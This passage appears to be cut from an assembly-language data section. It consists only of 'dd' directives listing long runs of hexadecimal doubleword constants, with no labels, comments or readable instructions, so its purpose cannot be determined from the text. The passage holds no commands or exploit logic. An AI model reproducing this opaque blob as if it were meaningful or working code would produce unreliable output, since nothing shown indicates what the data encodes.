0E74F37B9h, 0AF41805Fh dd 3401D8BDh, 2226A3D9h, 0DEC8B56Ah, 0E4B90163h, 7692D395h dd 6470ECC6h, 256D1402h, 40185086h, 1C0FC753h, 2671ABh dd 0D61662Bh, 4C009F8Dh dd 7534DE11h, 3824B7h, 85DA08ABh, 8EC2CC6Bh, 83505E39h dd 3F031935h, 0DC1F0C9h, 6C021CE4h, 8A600B3h, 0A9CB9DC7h dd 6ABC6500h, 0EE5A8936h, 3F300022h, 0D74ACEA6h, 0DC1C55CCh dd 181F0F6h, 129D974Ch, 1611F7FCh, 92CE76h, 77B56E26h dd 3F058A0Bh, 0D6689ED9h, 0C0C014C4h, 1FAD3E6h, 0DB39CC02h dd 0FCC29BE0h, 0A500B838h, 4022B776h, 0A9115ADh, 5E33A710h dd 0D6C908F0h, 9CB81600h, 5D4BF749h, 20751CC4h, 40092CBh dd 0EA3943BEh, 0F9B9CA8h, 1DD2F052h, 0E6C3D640h, 0BC006C8Ch dd 4CF5A083h, 66E7380h, 5C7CB735h, 40198CCh, 32AE7DD8h dd 0F4342D7Bh, 477403E2h, 7911C7ADh, 3F8008F8h, 4A44900h dd 616D9E99h, 576500B2h, 9AE65BF9h, 600AFF6Fh, 0A46C3CAEh dd 5E189900h, 8CDB2Fh, 507727F7h, 9721EAB6h, 0DDF19600h dd 7F716680h, 0FB5A00E7h, 9F54D442h, 19B8AABDh, 60006090h dd 93DC28Fh, 0E15C2Ch, 27B4F93h, 0A41BE737h, 4FD04Ch, 0DB205BCBh dd 0B18F9526h, 0DE708088h, 0A417E93Eh, 1BEE007h, 0E03F1A05h dd 0B91382C7h, 18945Fh, 7117D148h, 7D4C5E54h, 519E00E0h dd 1E79D22Bh, 0FF4F07A7h, 619F23C5h, 0E9F84808h, 20EEE13Ah dd 0DF1E88C8h, 944785BAh, 4530AA16h, 0C35668h, 0D65E509Fh dd 0F3A58D4Eh, 0D7E60698h, 0ABBA8C50h, 1D00A5B0h, 0F55DFA92h dd 1F7CCDE4h, 81BEF26Eh, 8651CECFh, 0A3B170A1h, 0CDE7BB03h dd 0F824D9B8h, 3F24552h, 0EB19CB42h, 0C7B03D6Eh, 0B15891FCh dd 80633898h, 3368521Bh, 38A6BAh, 934C61CBh, 67AD146Ch dd 0D7A19109h, 85008997h, 0E4C9DDC0h, 137B0432h, 20ED43D1h dd 0FE183390h, 0B2E68E00h, 5F2D5067h, 53E80081h, 740B1726h dd 0A10138C0h, 346971Bh, 0C0609277h, 583900B7h, 512EEA94h dd 430E068Eh, 40FB386Eh, 0A2D0A876h, 497E0069h, 0FCD3BDCDh dd 0C600CE9Ah, 17EB3681h, 0B02BA8h, 0CCC73DB3h, 66E243A1h dd 88E97900h, 859635FEh, 0E6D10023h, 0CED374B8h, 687C491Dh dd 15222400h, 0C2CB11E5h, 7E1F007Dh, 55856BADh, 6400FDEFh dd 0CCE1C87Ah, 0FABED12h, 1671FEC1h, 548F22E2h, 30118C80h dd 0A900FF1Fh, 0C59BB9D2h, 0C084F6h, 57269866h, 79CBBC81h dd 20A54EDEh, 0DE5D2D9Ch, 7E5200AAh, 15E53401h, 0C31543A6h dd 408C6874h, 0D00B83AEh, 81F5599Dh, 0F8083ABBh, 93D11ECh dd 77ECC454h, 79213080h, 0DC17EE50h, 4C1E9E83h, 60032381h dd 0C260A905h, 0F84FC5Bh, 0D9893748h, 2E699BC0h, 0CF00E0DAh dd 6199F392h, 81CE5Eh, 19AE6286h, 0F0C93BB0h, 70437800h dd 0ED2B93A8h, 474C1ADAh, 8482A0A2h, 0C40DFBAh, 0F37D4A4Bh dd 74855816h, 0A9D5C10h, 901366AFh, 0C6D95100h, 10E1AEh dd 42A60FCBh, 9888376Ah, 0F22A4307h, 91E1173Ch, 743C0AE2h dd 9C04273Bh, 80B10542h, 0D8CF6828h, 195DFF00h, 0F839A5A4h dd 5F963048h, 72DBC210h, 0FDB45A00h, 0BF2F8EFFh, 0A6C0CA2h dd 3F50F61Bh, 32A70612h, 6F7B5F00h, 68B1FCh, 942CEB51h dd 5E99E3E5h, 1C987E01h, 37DA28B4h, 0E8807CEDh, 0B6C978DFh dd 62009EC3h, 839A9E2h, 0C0DA4F0Dh, 6BD11D20h, 9B2E419Fh dd 8038A0E8h, 63CD441Ch, 0BBA942h, 21C657A2h, 0DE608289h dd 7B98A3Ch, 0B63383Fh, 920E16B3h, 0A48CE023h, 83B4992Bh dd 980F6FBFh, 263F2080h, 88F10800h, 8EC96A53h, 0D3A201F8h dd 0C851D0B1h, 9D6BE418h, 10363E00h, 416F29F5h, 1B27AC7h dd 0FF64BF5Bh, 2C5F9CA7h, 80343FE8h, 55CEF119h, 0FDDDC8Ch dd 0A22E2891h, 0BE202B40h, 17005011h, 95CBE9A0h, 0A75569h dd 87B4148Ch, 70ED3167h, 3E0091F0h, 0D11ACC06h, 0F02F45h dd 2EB5EB42h, 0E0669D4Ah, 0C0BB8000h, 2DA16235h, 2B91F19h dd 0BDE780C6h, 0B52EAAFEh, 50D7200h, 7C0E1CBEh, 5AE60154h dd 0AD8CB847h, 2E56ECDCh, 7195F200h, 1E243F6Bh, 6CAF00D4h dd 0FD9F81Bh, 0E100CFCAh, 0B3DFBE12h, 0B465Dh, 709F5622h dd 0F27D11Eh, 18527900h, 892832D7h, 93260011h, 0B86053E5h dd 48C008D0h, 0CBB37CFDh, 241F00F8h, 8070AEC7h, 7702A397h dd 1D1A6F8Fh, 9A2460D0h, 96CD00EBh, 61A65468h, 39F47A57h dd 0A4E55209h, 355C0090h, 30C30592h, 788014B5h, 72009644h dd 0B49E65FAh, 7ED72Dh, 0E589F495h, 8466CF4Ah, 0DEAA3400h dd 0CE02790Dh, 0D95000B9h, 0E82753C3h, 0A6005207h, 4738159h dd 903175AEh, 87573D40h, 0E4A5F0Ch, 16009BC8h, 0B280FDF0h dd 78C02138h, 1D05072Ah, 80C47C70h, 5D333F6Fh, 9400C975h dd 0FFD51BFAh, 12739C07h, 9CC9ADDh, 408EA760h, 9FC50A60h dd 6A1E94CDh, 0BC80AE7Eh, 5F688554h, 48EA1A7Ah, 1482344Dh dd 0F0416EB8h, 0C5B0301Ah, 0F1C4F509h, 63200324h, 34ECE83Ch dd 5D7C000Ch, 0BB2505B5h, 98009111h, 0FFF42EE6h, 31F3BEh dd 4F95E35Eh, 56DFD8A4h, 6B0E0CE2h, 60FADEE1h, 0C8C37CD3h dd 0E8A907B7h, 0F9D973E0h, 7F8F8C20h, 3701A80Ch, 679FB17Ch dd 0EC40479Ch, 0FD3820Dh, 0F857D613h, 90F03640h, 6D00CE2Ch dd 692741A2h, 0E6ADF1DBh, 34C53B0Eh, 1707A458h, 0F4651FBEh dd 5B088071h, 283B67D2h, 85AFBAF0h, 0B4FA5D14h, 32C1F4C0h dd 83AD004Eh, 653C98F7h, 1600209Ah, 9E7DFCC2h, 0ECF918Dh dd 3BF72CDFh, 0E23AA660h, 7B006037h, 8C33BF12h, 0BE72AB0h dd 92C401ECh, 0B51000C0h, 0F3C7B01h, 0A79482C0h, 0C38C48h dd 761DFB28h, 786D4091h, 3D0EA23Dh, 1E2804Ah, 0A5D846C3h dd 0EC9A03F4h, 3E185AE0h, 3DEAEBF0h, 0C04C2F6h, 0E9F35F74h dd 6A9D98C0h, 7DBF008Ch, 4360D1E0h, 34001EA8h, 0AA8DF4AFh dd 95BA4CAh, 5F13FD9Ch, 0C0B99C80h, 6C3A97ECh, 7F8381D8h dd 0CD0CE894h, 3CCC2CC0h, 10876D13h, 30FCAE22h, 771B3A41h dd 4A49C200h, 0A5D60476h, 0FFFB09F2h, 46808E91h, 6F85AAB7h dd 807ED400h, 5CA7DC08h, 0FEF007Ch, 358AEEC9h, 0E03D7983h dd 0D1C68096h, 0DBB6BFF7h, 0B8940027h, 3B3331F6h, 83003FFDh dd 4161497Bh, 4FA9C8Eh, 99C82B14h, 84F6B8h, 8F23F0EAh dd 3D25A1h, 0AD8381A4h, 6B139355h, 0F8783A00h, 61185446h dd 3D700F4h, 0A3CC2D3h, 0D93E5830h, 1E523D33h, 6940509Dh dd 8AC93F05h, 741D07D1h, 64437CB2h, 6D44C056h, 0F500B97Ah dd 99861A8Ch, 929E2Ah, 0DE560FBFh, 0A57CA45Ah, 1E2D3EB8h dd 0ED200047h, 2E263622h, 3008302h, 0E1FF390Bh, 0C4805DB2h dd 6F16B717h, 325F5305h, 0AD8089EAh, 0F5A48Eh, 15CCE5C5h dd 0E2562C0Eh, 4CC9CD00h, 0C73E9C61h, 0F96B0733h, 0F1248299h dd 7086E264h, 85007D60h, 20ED7E44h, 4887E052h, 4C4C48BAh dd 0A7A98809h, 0BD346482h, 60D018C0h, 9370B024h, 1E16CE02h dd 0F316C0F5h, 0D59700BCh, 0FAEC5599h, 900743Ah, 0A4CE019Fh dd 2EACD38Dh, 1620835Eh, 2F5FE045h, 2DBC8200h, 1457C074h dd 587A09CBh, 64008F8Ah, 7CA5E2F2h, 20D46B00h, 26563825h dd 1A8A0F0Dh, 37837BC1h, 81EC9935h, 0D47739E0h, 0C504E9DBh dd 0D752DA22h, 286AC090h, 6E71B0h, 0CB93FEA1h, 0A5710AB4h dd 0DBEF4C1Dh, 3E502F80h, 7BB788E8h, 963C0EC4h, 6CE04604h dd 0FF994DAEh, 0C8AC2900h, 0EEB6E392h, 197A0E50h, 0AE051448h dd 900CC095h, 15034DA6h, 0C4E0F9EAh, 0D3001ABh, 4FA0D458h dd 0C7863086h, 1AE1C003h, 0D8D7CCA1h, 0BF17F0h, 137A0DF8h dd 7216D899h dd 2FFF7E00h, 4AB7A0BBh, 36880F18h, 5AC55644h, 2CA3C368h dd 12D500DFh, 0F9396A7Dh, 9F4403FEh, 0F8D0298Ch, 0E7CF2FCh dd 36CD11D5h, 5F95F7E0h, 2600A858h, 8F4014E0h, 6397FEh dd 66ACBE0Ah, 546EDC99h, 803DD93Dh, 2B1BFC6h, 2505DF6Ch dd 0AC2015EAh, 0C2BD8761h, 1E0F3300h, 0CDD53F85h, 262E0093h dd 5166A7D6h, 0D4001B58h, 5102D2Fh, 921F31h, 0CA653E4Fh dd 1339F68Dh, 529D891Fh, 0F0ABE040h, 5CBA931Eh, 0BB00C481h dd 2FA7BF39h, 0FC1302CDh, 0E480B2E4h, 71ADBEh, 874866C0h dd 2AD48A5Ch, 752F7900h, 12511B4Ah, 0D23700DDh, 8B9B040Eh dd 0F30F9EAAh, 0C7C031B0h, 0A820D355h, 8677978h, 7E365B82h dd 4A7C9701h, 1428B5E2h, 8800C52Fh, 77AF5750h, 86B93B00h dd 3EFFBA19h, 82F52624h, 366F401Ch, 9D0784FEh, 8E3B32FBh dd 2358E21Fh, 0B9A8C0CAh, 0F5500185h, 80019AE1h, 18B0434Ah dd 8FB85CCBh, 0D34CC9C5h, 0E1FE0ECCh, 858CA9A8h, 0CE4ED2Fh dd 0CDD822FCh, 3EB17E00h, 100AEF20h, 0B65224D5h, 4F090068h dd 90C0A8C4h, 0DC604926h, 0CA2CAD80h, 9F5A1D4h, 0BECE40BCh dd 8B00267Eh, 0EECB361Dh, 0FB4C0082h, 0E1B4DBC5h, 0F20733E0h dd 8D55CA9Ch, 0D1294721h, 0C408CB41h, 5423F4h, 6F9B841Fh dd 0B71128F7h, 0CCAE7012h, 0D164B0h, 0AB730CB6h, 0C1465B9Dh dd 0CD8C8300h, 0B4A4BD2Eh, 5E1113EBh, 0E0210066h, 0DAB436Eh dd 559CD00h, 0E1C18D1Bh, 94F4B21Eh, 37AB0008h, 417B7D5Ah dd 1CC0A715h, 0BC120E8Ch, 5D39807Ah, 3A6A4DE1h, 4785308Fh dd 40D0DBF9h, 407A8398h, 974898A0h, 0AA7E00D4h, 0F662E3D4h dd 0F8C254E5h, 414F244Bh, 0A0C1144Dh, 91BE73B0h, 14D4E659h dd 59C37A2h, 6B41C3F9h, 30758490h, 89500056h, 6D610846h dd 5203CA21h, 1112CC90h, 58348007h, 54290209h, 7A448F3Ah dd 76AE3040h, 0DDC3BE05h, 0A8417E85h, 0ECD15530h, 1E73A0C0h dd 0C0A917FFh, 3B15ED6Fh, 54019AD6h, 1355ABACh, 0EC64FFFDh dd 0A7E20049h, 4329964h, 2A00A630h, 0EE24FEA9h, 6017470Ah dd 0EACFF10Eh, 2B1CC42Dh, 89C4BAA4h, 0D4C095FEh, 5897E6EEh dd 0DF00F3DAh, 5F1BE82Fh, 62003642h, 71522C9Eh, 982AFB8Fh dd 0C2C606B4h, 80F5750Dh, 183D3F24h, 5B76C040h, 32F8070Bh dd 0D066C289h, 0C5D55F7Ch, 10560303h, 8F7B23h, 7D713E91h dd 0E69927E5h, 4936721Bh, 5647E250h, 2E888014h, 758AE29h dd 2DE2D400h, 0AA91BAF4h, 81930086h, 5D20C51Bh, 4B005504h dd 53D31C6Bh, 0FDBF449h, 290171Fh, 0CF0A1078h, 0A8034DF2h dd 51570173h, 19C109FCh, 3C20F9E3h, 0FB433C06h, 0A967218h dd 8601C8h, 851735A7h, 909B5DCDh, 94E5CB02h, 0C099DC72h dd 1284D85Ch, 44E282F6h, 0E0D1F788h, 0DF5CCCF4h, 722A05C5h dd 0DC805A31h, 2D5E5Ch, 0C93AA4BCh, 28D9465Fh, 0E9994400h dd 20F966B1h, 0F088581Bh, 7E112C1h, 6DC3FC6Eh, 0B996713Ch dd 0FE8D8084h, 75E5D42Ah, 72C00062h, 714D826Bh, 6600D926h dd 0F9D6011Eh, 0F8634B80h, 98E692h, 7BBD8E6Eh, 0A0E4F148h dd 55C91500h, 6CAF2B4Ch, 7CB1000Ah, 1C249A3Eh, 5000F44Ah dd 0B431C769h, 958473Ah, 4C676017h, 0C9798C00h, 0D001A6B6h dd 72C4516Dh, 8EFCFD91h, 7E9E00B1h, 223B5728h, 0DE000AAAh dd 0A3D16CFBh, 0F78494h, 9827BB41h, 0BE3D0CECh, 0E0A06AEEh dd 858048A9h, 2F944C2Ch, 522D0400h, 0B48ADE38h, 6742C300h dd 4B15219Dh, 0DCF2005Ah, 0F3FFB313h, 58949664h, 1C9CFB00h dd 0A7E4BAh, 59F4CC23h, 0FA3B7A7Ch, 9B93B500h, 0B9AB1906h dd 0B70805B2h, 402ED9EFh, 0DCA276E0h, 123B5AEBh, 0CB48C82Ah dd 0D368E0C1h, 9575CEh, 33BE376Ch, 519ADA8Ah, 11CA2800h dd 0DE74FD45h, 0B9F40F3Ch, 6A08305h, 882266C5h, 95177600h dd 0ADE3799Bh, 0BB9009Ch, 3F5E64B2h, 4900F34Bh, 0FC8A8F35h dd 0B693A5h, 91E1EDA9h, 0A81727CFh, 449ED2FAh, 0A5AFF980h dd 84DE5Bh, 0BF3DA385h, 0A722039h, 3C272201h, 6E940CA7h dd 0A47420h, 0E5700BF0h, 0B7C6D78Ch, 1B17A900h, 4A88F808h dd 330C3964h, 0EC8FFD8Bh, 0C815DC80h, 20071F3h, 3710C72Dh dd 0F7B4D4EEh, 0D1FE9440h, 7958139Ch, 9B343146h, 719820A6h dd 9A104900h, 80C8E023h, 0FD4D0214h, 6D22A559h, 0FF1D2CC0h dd 0B84E3F00h, 663072EFh, 0B1240E78h, 1FE21265h, 0BC66D74Ah dd 3680E0BEh, 839FD165h, 814526AEh, 3DD4AA8h, 8BFFF59Bh dd 3C400BAFh, 9E01E284h, 6508E38h, 0EC24B5C3h, 3C44067Bh dd 0B9BEC757h, 8CA81F26h, 0A1FBD509h, 2C4D45Ch, 8CC3880h dd 193705C8h, 1EEDA20Ah, 0C38A833h, 404BB1D9h, 0B69E001Ch dd 863848EAh, 3F4C2272h, 60288B90h, 0C070F954h, 7E01BE81h dd 553D0E16h, 513B176Dh, 96030030h, 4DF8F185h, 6FB30099h dd 47F6DA1Fh, 90014F66h, 0D24558A0h, 803D5662h, 80FDEB1Eh dd 0D682377Ah, 4C25A555h, 629CE042h, 406A540Dh, 3C40822Fh dd 26540B2Eh, 0CE73FBA8h, 3CE98400h, 0FF52F458h, 0F98C0E72h dd 80C0BC32h, 4B1CC4CEh, 0ACC09600h, 0C65E990Ah, 747B0E1h dd 0A975A418h, 964F006Fh, 46297E5Bh, 6047BC7Ch, 0F4A09005h dd 0F0CF03D0h, 0D2EC53AFh, 230496F0h, 6818C4B2h, 0C829D8F8h dd 1B9E00D4h, 2E8A05BCh, 2100C240h, 0D571E844h, 111A44Dh dd 2B626986h, 0A6B7C805h, 1F0068C6h, 0F843A797h, 0F1111256h dd 8D0C4B5Ch, 913B9C02h, 7602F0A0h, 9A03D964h, 93687808h dd 2CF87F37h, 0E0641E0Bh, 4966468Bh, 0BB1C8600h, 3D9C38FEh dd 44718EAh, 0AB837E36h, 7DF0F358h, 98DB7A01h, 39739AFCh dd 67A960h, 6632024Bh, 0BDF1AF87h, 50BE90E4h, 0B893800h dd 973091h, 0C73C2C8Ah, 7A15EED1h, 0E82549h, 0F0B089D6h dd 18CB76h, 0DEFF6A58h, 92CEAAC9h, 0C51CA300h, 748283F7h dd 16D4E842h, 46C55D9h, 40F3857Ch, 1DE1C0D5h, 931525A2h dd 861A4468h, 0DB175C12h, 0B8010702h, 6F478F6h, 1EC83A60h dd 0C1FC41ADh, 479D80h, 8173AFB3h, 96021AB9h, 0AE4030E7h dd 94A667FAh, 0BC42254Fh, 54EA8F32h, 413500B4h, 9DFAD68Eh dd 4A77453Dh, 98873800h, 0C87946h, 0B56F974Fh, 1C570CC1h dd 1B42A60Eh, 940016E3h, 6106ECB2h, 529C0046h, 0A433C0F5h dd 0A600F1D7h, 844B6D3Dh, 0D58F59h, 0A753929h, 0F597C6FBh dd 1985058h, 41A9E1D8h, 2860762Ch, 5BF0E8h, 14B2CA09h dd 8FAF836Ah, 3C0099ECh, 954D6638h, 13294Bh, 65C5BD19h dd 0DD5D49E9h, 5968CA0h, 0BEA81A07h, 63F06EA0h, 60934Ch dd 8031ED86h, 1E458A26h, 0EB96AA01h, 7026203h, 0B500BC39h dd 10BE4B2Ah, 0CE16D153h, 7B10B26Ah, 64EF0BECh, 0B9E0A033h dd 94091426h, 424B0A78h, 657100D7h, 0AB9294CFh, 5F532500h dd 0BFF8327Ah, 55883813h, 47C72B00h, 17DA338Dh, 0FA59E2Fh dd 0D65D60ACh, 0F4EFB695h, 84B221h, 5AAFEE1Ah, 73987F2Eh dd 82180779h, 5F102DAEh, 350C003Bh, 75AD5751h, 8009BB31h dd 0AD7C860h, 0EF000094h, 8B5B173h, 0FED9005Bh, 0E066582Bh dd 1098A4D7h, 0EB0DED00h, 0E83B4792h, 0F3F4003Dh, 0F06AC89Eh dd 710E522Bh, 2023F28Ch, 43E18DBh, 92D0201h, 3B4DE45Eh dd 95E09043h, 15903302h, 0A60534E2h, 0D999D878h, 5DD46DC0h dd 0E99403FEh, 88E346D6h, 6A7ABCA0h, 42055494h, 0D0C20D8Dh dd 0B504C8C5h, 22E66Fh dd 6EF479D2h, 9B1012FBh, 65974300h, 7525F114h, 0A6CD040Dh dd 0B4C55F99h, 7F4233C0h, 0E1BB9303h, 0CD8E8Fh, 0DE114EE4h dd 0EC0022F5h, 0FC2F31D3h, 41AC57Ah, 0C2F9685Ah, 147C85EFh dd 1F0FAC26h, 0B1A599ACh, 0F404A0D9h, 3E788500h, 0D5D7B48Dh dd 930F267Ah, 0C59F81F0h, 3497352Bh, 101D0D98h, 7CC056D5h dd 458D0A6Bh, 0DCE000F5h, 47BA3FE3h, 6C09CCF9h, 0DAB85A9Dh dd 9E1E0040h, 13F550ECh, 0B0017343h, 9C041716h, 0F030D16Fh dd 0CE6B0134h, 0B12706B7h, 5A9EECE8h, 3BFFAF00h, 23DBB08Bh dd 2DE200E5h, 1180CA36h, 8900500Ch, 0E0CC08F0h, 9835734h dd 5918E433h, 3794B080h, 0B00D0E43h, 883E0A15h, 2B072D6h dd 1821C419h, 6CC6814Ah, 40F83900h, 4DA4C8ECh, 0FB051353h dd 4FEC4B60h, 0A866F81Ah, 0CEDBC700h, 7DB50FC0h, 3DE5E467h dd 0FF0316CBh, 62578B55h, 91284125h, 37E48ED0h, 0C7000C4h dd 0A4FF5A36h, 32EEDB0h, 0F0E07847h, 3ED1A8C5h, 0C3804562h dd 10972D0Dh, 0D77170B7h, 671F2170h, 0B575443h, 655D0C49h dd 0F7CB809Ch, 832A121Dh, 59990F35h, 916F883h, 3F1F7558h dd 0CB02BC6Dh, 48983828h, 4170804h, 80C045D2h, 0E7BEC12Fh dd 0AE8C60C9h, 0EECCCF00h, 0BFBC4ADDh, 2C7EDFh, 0D3E20759h dd 437CB52Ah, 0AEC38516h, 0ED821430h, 0C94712E8h, 2C9CA241h dd 8E8F70FEh, 0AB768081h, 0FE9F69D6h, 0E76300A0h, 0C73BFEB3h dd 2F188CE0h, 15110A2Bh, 0AC6A006Ch, 9C92474Ah, 9E005C70h dd 2BA8754h, 0FCBFCF8h, 0B5ADFE3Eh, 55A7580h, 0C40EBC16h dd 4CCA74Eh, 8AD5257h, 9C4424h, 4D9AA31Ch, 0CF49EF6Ah dd 0FB0E0B6Ch, 0F185045h, 0F4C412DDh, 23F78100h, 0CF126E60h dd 4AA1F9h, 0EF006CC5h, 4B6BF5E7h, 0BCB0E64Fh, 27928064h dd 9D888AF3h, 0C741CD0Fh, 1CD720F7h, 26B9E89Bh, 0D0B01Fh dd 862D548Eh, 97586AB2h, 0AB360006h, 644E2850h, 0CBBDA0B5h dd 89F00092h, 5514D09Eh, 1D00D624h, 0D438A56Bh, 121FFB1h dd 0A52A107h, 2E5174E4h, 457DEC02h, 1CB4A072h, 3D331C9h dd 0E9A07010h, 1F8078A3h, 0A90503DAh, 73FEDCB2h, 0C2B833C2h dd 4C7E94h, 45AF09CFh, 847CB2F4h, 1B38E860h, 0D4A880h dd 35658C58h, 2751958Eh, 743B6A00h, 0BB75B483h, 481560FBh dd 7CACB048h, 0C49CAFA0h, 76E24C01h, 0BBC75E2Bh, 1684DF70h dd 0BA96Ah, 9326F794h, 2A80D1C6h, 0F48EE971h, 76CBE31Ch dd 1B8D3580h, 2F0B9659h, 0B9273Dh, 0AF603286h, 7B7E0077h dd 0CC451CC7h, 0E7004166h, 8DE47C71h, 2C47D643h, 948762h dd 0B29FD8ABh, 0F4964077h, 4F54BE00h, 0FCA0AE14h, 0EE02007Dh dd 0DFAC8A3Ah, 38906A9Dh, 0DC0339EEh, 8D8CECCCh, 8F008738h dd 8265AAh, 2B620186h, 13F36D95h, 9C3B3F40h, 694A8F0Ch dd 18A0F9CEh, 0DCE765E0h, 0D89AF726h, 5F46C002h, 1E1440B7h dd 8AB00B1Bh, 798096FDh, 9BF330E0h, 4AB4C300h, 0E8572413h dd 3561C41Ah, 0B93C060h, 0D0483E4Dh, 0F8650008h, 8687C1CFh dd 468D176Ch, 1E700766h, 642BD7BDh, 70D6C1A8h, 10C06065h dd 4D822001h, 0C91D73E7h, 790403Ah, 59B4433Ch, 3D11651Ch dd 202698C4h, 544C10C0h, 0BDE099h, 0DE564B74h, 69502E09h dd 0FEBE931Fh, 0FF11F80h, 2C83E4h, 0CE596639h, 0F807111Eh dd 6A18D075h, 74B036AAh, 0A04D5E62h, 1958C0F3h, 0A8570046h dd 8F405F96h, 261AB025h, 9C707Dh, 0E3A234D3h, 0A62CD7C3h dd 0B3401C5Dh, 7D8F84ADh, 9AF903D2h, 0AAEBE042h, 0C5F17DB8h dd 0C275C2B0h, 29112801h, 0C8215A80h, 6F02C46Ch, 0F2627D32h dd 4081A4E1h, 4587D9F9h, 5903F890h, 0B10716A8h, 0CDA390CAh dd 0C85C00F1h, 5EFE906Eh, 0C304B489h, 3E6D0581h, 4311080h dd 0D66500F5h, 0F9869AA2h, 1D00ED4Bh, 7CCB1B9Eh, 1489FF0h dd 8BE63BF4h, 0CCFDEA97h, 0B3830A9h, 0FD23ACA1h, 0CDC0F61Dh dd 0EF8B7098h, 0E075588Ah, 0ED484A03h, 40C7D7C9h, 419AFEB0h dd 96228300h, 0F1767E89h, 93043C1Eh, 0CFBF26BFh, 0CD85EB00h dd 99DEB272h, 51C048B0h, 0DF0B6204h, 70DB002Ah, 797C378Fh dd 0A0022C1h, 293C994Eh, 77594AAEh, 0BDE40F1Eh, 0EE801530h dd 1F4C2D84h, 4441A624h, 4A041416h, 4EDBC87h, 4EEF7C05h dd 24B9FBh, 4714AA35h, 0F5CF2Ch, 9A6ABC58h, 0BD835520h dd 1C7AC200h, 32CD6862h, 0DDC9004Ch, 0EEC73C57h, 0B8B00544h dd 0B878A81Fh, 5410DF40h, 1CB46795h, 408ECDC8h, 2EFCE4D5h dd 213E4877h, 3A8D80A7h, 0AAB0E689h, 35E4A042h, 6AF23E8Ch dd 879D2E81h, 20395529h, 0DA0274CDh, 0A718E542h, 1A1C60D5h dd 95280EC0h, 0BAE058DFh, 5DE2AF8Eh, 0F958D1F4h, 0D81E050Bh dd 0E400A70Ch, 47EFC19Fh, 7B491366h, 695009CAh, 7C00107Ah dd 99E7B6C7h, 50863A7h, 0F45B38F8h, 0D82C801Ch, 0B400C778h dd 0BDFB6571h, 7AF106Fh, 9DBCB84Eh, 58806974h, 120C6159h dd 8B172E26h, 8E738400h, 0A042E65Eh, 0AD4C0h, 0A87CC837h dd 0BC1F6A93h, 0E3912C00h, 84B04F62h, 54E50076h, 350FEC07h dd 0AA00FC1Ah, 0C294E0DBh, 5BBB81FDh, 721CC15Dh, 1037618Ch dd 42842EC0h, 383BF8B8h, 75DD0066h, 0D1880F2Bh, 61562611h dd 0CEBD1DBCh, 2F4087E7h, 289C5943h, 2D002775h, 31F532D7h dd 75C03E50h, 0A2F6A5h, 3676E101h, 6AF8E924h, 83F41EEEh dd 61818F2Dh, 0C830C904h, 24E3009Ch, 7CA41817h, 880086A0h dd 0F941A338h, 1084832h, 6C3B0A61h, 8014D7F5h, 0FBD0CD28h dd 1F550969h, 0C0D2DE3Ch, 81BE32AFh, 9344015Fh, 29CC00D1h dd 28E6096Fh, 66163BAEh, 6F1EF0B5h, 0FB5DC680h, 72C71B05h dd 42815C3Dh, 8BA07900h, 26BA46F2h, 0F1295800h, 38625C20h dd 0D4DB3D03h, 0B9881F87h, 0DA031C0h, 93C6CCD2h, 0B07F6300h dd 0D4043534h, 36A40FE3h, 0F9E01A82h, 47382F52h, 1292DD3Fh dd 580043C3h, 0D36A641Dh, 0F5890135h, 912AD66Fh, 32BD2083h dd 734D2B00h, 0A9CE3DD7h, 0FCA472h, 0E69229C1h, 80B44B56h dd 5BE07901h, 37438757h, 38F75824h, 0DB97F8h, 92CF1C9Ch dd 0A300745Ch, 869E107Fh, 941EA7h, 81BBA534h, 0C3AE21FAh dd 0C0C5DF00h, 327A8D83h, 0E12B28A1h, 2E71B8h, 0EC069FDEh dd 0D3A96373h, 2931B100h, 46A73EEDh, 3791174Dh, 9048C2F7h dd 0BE13A0E4h, 6CB0525Dh, 4860EDF5h, 0F42749Eh, 0DB2F6E94h dd 0A0C0056h, 2CF6A090h, 0F105F60h, 2B19FB0h, 75B2FC9Ah dd 38D8A5D1h, 0D9AA7E00h, 6DF7E8E6h, 20655ECBh, 926A5310h dd 0E5B93Eh, 4E4C79BAh, 0C2DD4Dh, 940CF643h, 0EFB614D2h dd 0D4E8AA00h, 0F27F52A5h, 0D18B0092h, 53D24AE0h, 0A800D32Bh dd 7830711Eh, 79F44F8h, 0B402CB5Ah, 6E32829Dh, 945628C0h dd 0EA16D800h, 6D21E282h, 86FC2634h, 7D0300B1h, 0D595501Fh dd 8F67A501h, 85EC2BF0h, 0EE123E60h, 79B92C34h, 4C003F6Ch dd 8ED6295Ah, 0B77B5B1h, 3B449F00h, 0ED9F2C5h, 0DA1D00B8h dd 0D29D315Bh, 6B7785C2h, 14C3CC00h, 0FEBFE8Eh, 0A0F19851h dd 0B38C8Ch, 2D1A9098h, 0E553E76Eh, 0CA5078FEh, 8F955FA0h dd 1DC40084h, 0E61CD44h, 8070E040h, 1E908160h, 5012E06h dd 0CD02A157h, 536BC5A7h, 0B8A49498h, 0E37D007Ch, 0E8730E7Ch dd 27951FB2h, 445D40F2h, 0EB7B64ECh, 0AF318A2Fh, 0A27C584h dd 3A9810C0h, 3F9500DCh, 0BDF43D0Bh, 21005223h, 0C8572E93h dd 2C346185h, 80AC74B0h dd 0D028785Fh, 2309B929h, 40B5CC57h, 9D19EF8h, 0C2EE6B5Ch dd 0C50BF440h, 3400BB5Bh, 0F1BE1E75h, 0C2B40EECh, 66405512h dd 0A41965E1h, 0C4E59h, 0C5DE94D4h, 0F42E495Eh, 0F6D209AAh dd 147851B1h, 42731E06h, 599EE263h, 393B50CAh, 9804E1ADh dd 1EE0F8CEh, 91D64708h, 0E60C5900h, 0D2DD89h, 0E31C5763h dd 0F2EF2D92h, 0E15F7E00h, 0BC881BDCh, 3F8D00BDh, 49CF4AF4h dd 0E5F8FDE8h, 31C91100h, 8C7DE78Ah, 3FF60034h, 30A640C0h dd 0CE044B3Ch, 98706AE2h, 80AA7785h, 82BCFEB4h, 28412A05h dd 90003DC2h, 0E45B2708h, 77430090h, 0D0E83306h, 0FE05D7ADh dd 0A278CC73h, 87FAB1C0h, 3D510032h, 4764E28h, 0BDE741h dd 4C3E0178h, 0A85605F9h, 835A81ADh, 5EBA1A1Ch, 0B2EAF4F6h dd 0B8803713h, 97609BBh, 0D2534A6h, 0DA8094C3h, 0B4013285h dd 11AD556Ch, 0D429D847h, 154E5783h, 0EA1AA3F0h, 1071B104h dd 0A8A196F5h, 10F0C9F4h, 0B5CED5h, 21E06B6Eh, 1218DB58h dd 0B08A7AA0h, 375BC3D8h, 0C50AC441h, 3D89DE2h, 102849B4h dd 0E4478414h, 442A12h, 0FD8AA44Ch, 78189552h, 276018ADh dd 12CD3D17h, 8FCFE503h, 84D05767h, 0AE4CB81Ch, 3E990184h dd 0B03FE715h, 